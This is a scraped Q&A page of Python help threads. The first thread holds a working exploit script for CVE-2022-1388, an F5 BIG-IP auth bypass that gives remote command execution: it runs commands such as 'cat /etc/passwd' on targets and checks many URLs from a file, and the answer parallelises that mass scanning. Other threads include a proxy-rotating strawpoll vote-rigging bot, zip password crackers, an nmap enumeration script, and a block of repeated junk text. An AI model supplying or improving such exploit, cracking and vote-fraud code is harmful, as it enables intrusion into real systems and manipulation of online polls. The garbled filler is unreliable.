How to add multiprocessing into my script - python

I wrote a pentest script? but dont know how to add multiprocessing there, can smb hrlp me?
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
def usage():
print("Eg: \n python3 CVE-2022-1388.py -u https://127.0.0.1")
print(" python3 CVE-2022-1388.py -u httts://127.0.0.1 -c 'cat /etc/passwd'")
print(" python3 CVE-2022-1388.py -f urls.txt")
def poc(target):
url = requests.utils.urlparse(target).scheme + "://" + requests.utils.urlparse(target).netloc
payload = {"command": "run", "utilCmdArgs": "-c id"}
try:
res = requests.post(url+endpoint, headers=headers, json=payload, proxies=None, timeout=15, verify=False)
if (res.status_code == 200) and ('uid=0(root) gid=0(root) groups=0(root)' in res.text):
print("[+] {} is vulnerable!!!".format(url))
return True
else:
print("[-] {} is not vulnerable.".format(url))
return False
except Exception as e:
print("[-] {} Exception: ".format(url) + e)
pass
def exp(target, command):
url = requests.utils.urlparse(target).scheme + "://" + requests.utils.urlparse(target).netloc
payload = {"command": "run", "utilCmdArgs": "-c '{}'".format(command)}
try:
res = requests.post(url+endpoint, headers=headers, json=payload, proxies=None, timeout=15, verify=False)
if (res.status_code == 200) and ("tm:util:bash:runstate" in res.text):
print(res.json()['commandResult'])
return True
else:
print("[-] {} is not vulnerable.".format(url))
return False
except Exception as e:
print("[-] {} Exception: ".format(url) + e)
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description="CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE")
parser.add_argument('-u', '--url', type=str,
help="vulnerability verification for individual websites")
parser.add_argument('-c', '--command', type=str,
help="command execution")
parser.add_argument('-f', '--file', type=str,
help="perform vulnerability checks on multiple websites in a file, and the vulnerable websites will be output to the success.txt file")
args = parser.parse_args()
if len(sys.argv) == 3:
if sys.argv[1] in ['-u', '--url']:
poc(args.url)
elif sys.argv[1] in ['-f', '--file']:
if os.path.isfile(args.file) == True:
with open(args.file) as target:
urls = []
urls = target.read().splitlines()
for url in urls:
if poc(url) == True:
with open("success.txt", "a+") as f:
f.write(url + "\n")
elif len(sys.argv) == 5:
if set([sys.argv[1], sys.argv[3]]) < set(['-u', '--url', '-c', '--command']):
exp(args.url, args.command)
else:
parser.print_help()
usage()
I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333I cant imagine how to do this 8912731827389123777777777777777777777777777777777777777777777777777123123133333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333

It appears that you are doing network requests and writing to a file. For this multithreading should be suitable. You need the following import:
from multiprocessing.dummy import Pool
If you wish to use multiprocessing instead, then:
from multiprocessing import Pool
It would appear that the only place where you have multiple jobs to run is for the --file option:
... # Previous lines omitted
if len(sys.argv) == 3:
if sys.argv[1] in ['-u', '--url']:
poc(args.url)
elif sys.argv[1] in ['-f', '--file']:
if os.path.isfile(args.file) == True:
with open(args.file) as target:
######## Start of Modified Code ###########
"""
urls = [] # This is unnecessary
"""
urls = target.read().splitlines()
pool = Pool(len(urls))
# Open file just once. Use flag "a" if you
# really want to append to an existing file:
with open("success.txt", "w") as f:
for idx, result in enumerate(pool.imap(poc, urls)):
if result:
f.write(urls[idx] + "\n")
######## End of Modified Code ###########
elif len(sys.argv) == 5:
if set([sys.argv[1], sys.argv[3]]) < set(['-u', '--url', '-c', '--command']):
exp(args.url, args.command)
else:
parser.print_help()
usage()

Related

python command line arguments, how to pass argument as value for script

I am having a hard time passing the arguments as value for my script in python. Here's my code:
import request, json, sys
def main():
url = 'https://jsonplaceholder.typicode.com/posts'
r = requests.get(url)
data = json.loads(r.text)
if len(sys.argv) != 3:
print("Usage must equal [userId] [postId]")
exit()
for user in data:
if user['userId'] == sys.argv[1] and user['id'] == sys.argv[2]:
print('here i am')
print(user)
if __name__ == "__main__":
main()
When I run python -m test 1 1, nothing happens. But it does trigger when I don't have enough arguments or too many.
The problem is that command line arguments are strings and the data you seek are integers. You could convert arg[1] and arg[2] to integers or you could use the argparse module to build a more comprehensive command line parser.
import requests, json, sys, argparse
def main():
parser = argparse.ArgumentParser(description='Do all the things')
parser.add_argument('user_id', type=int,
help='the user id')
parser.add_argument('id', type=int,
help='the other id')
args = parser.parse_args()
url = 'https://jsonplaceholder.typicode.com/posts'
r = requests.get(url)
data = json.loads(r.text)
for user in data:
if user['userId'] == args.user_id and user['id'] == args.id:
print('here i am')
print(user)
if __name__ == "__main__":
main()

Python Proxy Request Failed Connection

Im trying to make a Strawpoll Bot. I found something on Git Hub and took it, but its not able to connect to a proxy server. Either i get a timeout or it says "Couldn´t connect to proxy". I took https proxy´s from a free list.
Its not my code its frome here
My python skills are very limited
I hope someon can help me
This is the code or download to hole zip here
#!/usr/bin/env python
try:
from xml.dom import minidom
import xml.etree.cElementTree as ET
from optparse import OptionParser
import sys
import os
except ImportError as msg:
print("[-] Library not installed: " + str(msg))
exit()
try:
import requests except ImportError:
print("[-] Missing library 'requests'")
print("[*] Please install missing library with: pip install requests")
# Creator: Luis Hebendanz
class Main:
# SETTINGS
maxVotes = 1
voteFor = ""
surveyId = ""
# GLOBAL VARIABLES
proxyListFile = "D:\Feko Karels\Documents\Informatik Kram\Python\strawpoll-voting-bot-master\https-proxy-list.xml"
saveStateFile = "saveState.xml"
proxyTimeout = 10 # Seconds
currentProxyPointer = 0
successfulVotes = 0
def __init__(self):
try:
###
# Command line argument parser
###
parser = OptionParser()
parser.add_option("-v", "--votes", action="store", type="string", dest="votes",help="number of votes to give")
parser.add_option("-s", "--survey", action="store", type="string", dest="survey",help="id of the survey")
parser.add_option("-t", "--target", action="store", type="string", dest="target", help="checkbox to vote for")
parser.add_option("-f", "--flush", action="store_true", dest="flush",help="Deletes skipping proxy list")
(options, args) = parser.parse_args()
if len(sys.argv) > 2:
if options.votes is None:
print("[-] Number of votes not defined with: -v ")
exit(1)
if options.survey is None:
print("[-] Survey id not defined with: -s")
exit(1)
if options.target is None:
print("[-] Target to vote for is not defined with: -t")
exit(1)
try:
self.maxVotes = int(options.votes)
except ValueError:
print("[-] Please define an integer for -v")
# Save arguments into global variable
self.voteFor = options.target
self.surveyId = options.survey
# Flush saveState.xml
if options.flush == True:
print("[*] Flushing saveState.xml file...")
os.remove(self.saveStateFile)
# Print help
else:
print("[-] Not enough arguments given")
print()
parser.print_help()
exit()
# Read proxy list file
alreadyUsedProxy = False
xmldoc = minidom.parse(self.proxyListFile)
taglist = xmldoc.getElementsByTagName('para')
tagList2 = None
# Check if saveState.xml exists and read file
if os.path.isfile(self.saveStateFile):
xlmSave = minidom.parse(self.saveStateFile)
tagList2 = xlmSave.getElementsByTagName("usedProxy")
# Print remaining proxies
if tagList2 is not None:
print("[*] Number of remaining proxies in list: " + str(len(taglist) - len(tagList2)))
print()
else:
print("[*] Number of proxies in new list: " + str(len(taglist)))
print()
# Go through proxy list
for tag in taglist:
# Check if max votes has been reached
if self.successfulVotes >= self.maxVotes:
break
# Increase number of used proxy integer
self.currentProxyPointer += 1
# Read value out of proxy list
tagValue = tag.childNodes[0].nodeValue
# Read in saveState.xml if this proxy has already been used
if tagList2 is not None:
for tag2 in tagList2:
if tagValue == tag2.childNodes[0].nodeValue:
alreadyUsedProxy = True
break
# If it has been used print message and continue to next proxy
if alreadyUsedProxy == True:
print("["+ str(self.currentProxyPointer) +"] Skipping proxy: " + tagValue)
alreadyUsedProxy = False
continue
# Print current proxy information
print("["+ str(self.currentProxyPointer) +"] New proxy: " + tagValue)
print("[*] Connecting... ")
# Connect to strawpoll and send vote
self.sendToWebApi('https://' + tagValue)
# Write used proxy into saveState.xml
self.writeUsedProxy(tagValue)
print()
# Check if max votes has been reached
if self.successfulVotes >= self.maxVotes:
print("[+] Finished voting: " + str(self.successfulVotes))
else:
print("[+] Finished every proxy!")
exit()
except IOError as ex:
print("[-] " + ex.strerror + ": " + ex.filename)
except KeyboardInterrupt as ex:
print("[*] Saving last proxy...")
print("[*] Programm aborted")
exit()
def getClientIp(self, httpProxy):
proxyDictionary = {"https": httpProxy}
rsp = requests.get("https://api.ipify.org/", proxies=proxyDictionary)
return str(rsp.text)
def writeUsedProxy(self, proxyIp):
if os.path.isfile(self.saveStateFile):
# Read file
tree = ET.parse(self.saveStateFile)
# Get <root> tag
root = tree.getroot()
child = ET.Element("usedProxy")
child.text = str(proxyIp)
root.append(child)
# Write to file
tree.write(self.saveStateFile, encoding="UTF-8")
else:
# Create <root> tag
root = ET.Element("article")
# Get element tree
tree = ET.ElementTree(root)
# Write to file
tree.write(self.saveStateFile, encoding="UTF-8")
# Now write defined entry into file
self.writeUsedProxy(proxyIp)
def sendToWebApi(self, httpsProxy):
try:
headers = \
{
'Host': 'strawpoll.de',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0',
'Accept': '*/*',
'Accept-Language': 'de,en-US;q=0.7,en; q=0.3',
'Referer': 'https://strawpoll.de/' + self.surveyId,
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Content-Length': '29',
'Cookie': 'lang=de',
'DNT': '1',
'Connection': 'close'
}
payload = {'pid': self.surveyId, 'oids': self.voteFor}
proxyDictionary = {"https": httpsProxy}
# Connect to server
r = requests.post('https://strawpoll.de/vote', data=payload, headers=headers, proxies=proxyDictionary, timeout=self.proxyTimeout) #
json = r.json()
# Check if succeeded
if(bool(json['success'])):
print("[+] Successfully voted.")
self.successfulVotes += 1
return True
else:
print("[-] Voting failed. This Ip already voted.")
return False
except requests.exceptions.Timeout as ex:
print("[-] Timeout")
return False
except requests.exceptions.ConnectionError as ex:
print("[-] Couldn't connect to proxy")
return False
except Exception as ex:
print(str(ex))
return False
# Execute main
Main()

Python 3 Zip Password Cracker

I am working on a simple zip file password cracker for a school project, and I need it to display the password once it cracks it from the dictionary word list. Whenever I run it, it only extracts the file, and doesn't print anything. How can I fix this to also show the password? Here is my code.
import optparse
import zipfile
from threading import Thread
def extract_zip(zFile, password):
try:
password = bytes(password.encode('utf-8'))
zFile.extractall(pwd=password)
print ("[+] Password Found: " + password + '\n')
except:
pass
def Main():
parser = optparse.OptionParser("useage &prog "+\
"-f <zipfile> -d <dictionary>")
parser.add_option('-f', dest='zname', type='string',\
help='specify zip file')
parser.add_option('-d', dest='dname', type='string',\
help='specify dictionary file')
(options, arg) = parser.parse_args()
if (options.zname == None) | (options.dname == None):
print (parser.usage)
exit(0)
else:
zname = options.zname
dname = options.dname
zFile = zipfile.ZipFile(zname)
passFile = open(dname)
for line in passFile.readlines():
password = line.strip('\n')
t = Thread(target=extract_zip, args=(zFile, password))
t.start()
if __name__ == '__main__':
Main()
The problem is that you're trying to print the encoded password instead of the original password. You can't concatenate bytes to a string. So print the original password, not the result of bytes().
And instead of extracting all the files from the archive, use testzip() to test whether you can decrypt them. But to do this, each thread needs its own ZipFile object. Otherwise they'll set the password used by another thread.
def extract_zip(filename, password):
with ZipFile(filename) as zFile:
try:
password_encoded = bytes(password.encode('utf-8'))
zFile.setpassword(password_encoded)
zFile.testzip()
print ("[+] Password Found: " + password + '\n')
except:
pass
Then change the caller to pass the filename to the thread, not zFile.
import zipfile
from tqdm import tqdm
def chunck(fd,size=65536):
while 1:
x=fd.read(size)
if not x:
break
yield x
def file_len(path):
with open(path,'r',encoding='utf-8',errors='ignore') as fd:
return sum(x.count('\n') for x in chunck(fd))
def linear_zip_crack(zip_path,pwd_path):
ln=file_len(pwd_path)
zp=zipfile.ZipFile(zip_path)
with open(pwd_path,'rb') as fd:
for x in tqdm(fd,total=ln,unit='x'):
try:
zp.extractall(pwd=x.strip())
except:
continue
else:
print(f'pwd={x.decode().strip()}')
exit(0)
print('Not found')
linear_zip_crack('spn.zip','pwds.txt')

Enumeration Program

I'm in the process of creating a program that takes an IP address, performs an nmap scan, and takes the output and puts it in a text file. The scan works fine, but I can't seem to figure out why it's not writing anything to the text file.
Here is what I have so far
if __name__ == "__main__":
import socket
import nmap
import sys
import io
from libnmap.parser import NmapParser, NmapParserException
from libnmap.process import NmapProcess
from time import sleep
from os import path
#Program Banner
if len(sys.argv) <= 1:
print(
"""
test
""")
sys.exit()
#Grab IP Address as argument
if len(sys.argv)==2:
ip = sys.argv[1]
print "\n[+] Reading IP Address"
#Function - Pass IP to Nmap then start scanning
print "\n[+] Passing " + ip + " to Nmap..."
print("\n[+] Starting Nmap Scan\n")
def nmap_scan(ip, options):
parsed = None
nmproc = NmapProcess(ip, options)
rc = nmproc.run()
if rc != 0:
print("nmap scan failed: {0}".format(nmproc.stderr))
try:
parsed = NmapParser.parse(nmproc.stdout)
except NmapParserException as e:
print("Exception raised while parsing scan: {0}".format(e.msg))
return parsed
#Function - Display Nmap scan results
def show_scan(nmap_report):
for host in nmap_report.hosts:
if len(host.hostnames):
tmp_host = host.hostnames.pop()
else:
tmp_host = host.address
print("Host is [ %s ]\n" % str.upper(host.status))
print(" PORT STATE SERVICE")
for serv in host.services:
pserv = "{0:>5s}/{1:3s} {2:12s} {3}".format(
str(serv.port),
serv.protocol,
serv.state,
serv.service)
if len(serv.banner):
pserv += " ({0})".format(serv.banner)
print(pserv)
#Function - Define output text file name & write to file
def createFile(dest):
name = "Enumerator-Results.txt"
if not(path.isfile(dest+name)):
f = open(dest+name,"a+")
f.write(show_scan(report))
f.close()
if __name__ == "__main__":
report = nmap_scan(ip, "-sV")
if report:
destination = "/root/Desktop/"
createFile(destination)
show_scan(report)
print "\nReport Complete!"
else:
print("No results returned")
You're using print statements in your show_scan() function. Instead try passing the file reference to show_scan() and replacing the print() calls with f.write() calls. This would save to file everything you're currently printing to the terminal.
Alternatively you could just change your code so that the show_scan is separate from the f.write().
ie change
f.write(show_scan(report))
to
f.write(report)
It depends on whether you want to save the raw output or what you're printing to the screen.
Also you will need to pass the reference of the report to createFile so that it has the report to print ie
createFile(destination, report)
Just make sure you are always calling f.write() with a string as its parameter.
#Function - Define output text file name & write to file
def createFile(dest, report):
name = "Enumerator-Results.txt"
if not(path.isfile(dest+name)):
f = open(dest+name,"a+")
f.write(report)
f.close()
if __name__ == "__main__":
report = nmap_scan(ip, "-sV")
if report:
destination = "/root/Desktop/"
createFile(destination, report)
show_scan(report)
print "\nReport Complete!"
else:
print("No results returned")

Pipe output from shell command to a python script that also uses commandline arguments

I'm trying to pipe information from one command through a python script and change the output dynamically using command line arguments.
ping 127.0.0.1 | FindAndHighlight.py -f "icmp"
I'm able to grab stdin input and search for icmp if I hard code it but I'm unable to figure out how to pass command line arguments to the script and receive piped data at the same time.
The core of my code is as follows. Thanks for any help!
def main(argv):
global debug, searchfor
try:
opts, args = getopt.getopt(argv, "h f:d", ["help", "debug", "find"])
except getopt.GetoptError:
print
print
print hilite("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~", 'hi-red', True)
print hilite("~~~~~~~~~~~~~~~~~~~~~!!!### Bad Switch! ###!!!~~~~~~~~~~~~~~~~~~~~~", 'hi-red', True)
print hilite("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~", 'hi-red', True)
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-d", "--debug"):
debug = True
elif opt in ("--f", "--find"):
searchfor = arg
source = "".join(args)
if __name__ == "__main__":
main(sys.argv[1:])
print "Search String is: ", searchfor
# searchfor = "icmp" ## If I was to hard code the search string I would un-comment this line
try:
buff = ''
while True:
buff += sys.stdin.read(1)
if buff.endswith('\n'):
if searchfor and searchfor in buff:
buff = buff.replace(searchfor, hilite(searchfor, 'red', False))
print buff[:-1]
buff = ''
except KeyboardInterrupt:
sys.stdout.flush()
pass

Categories

Resources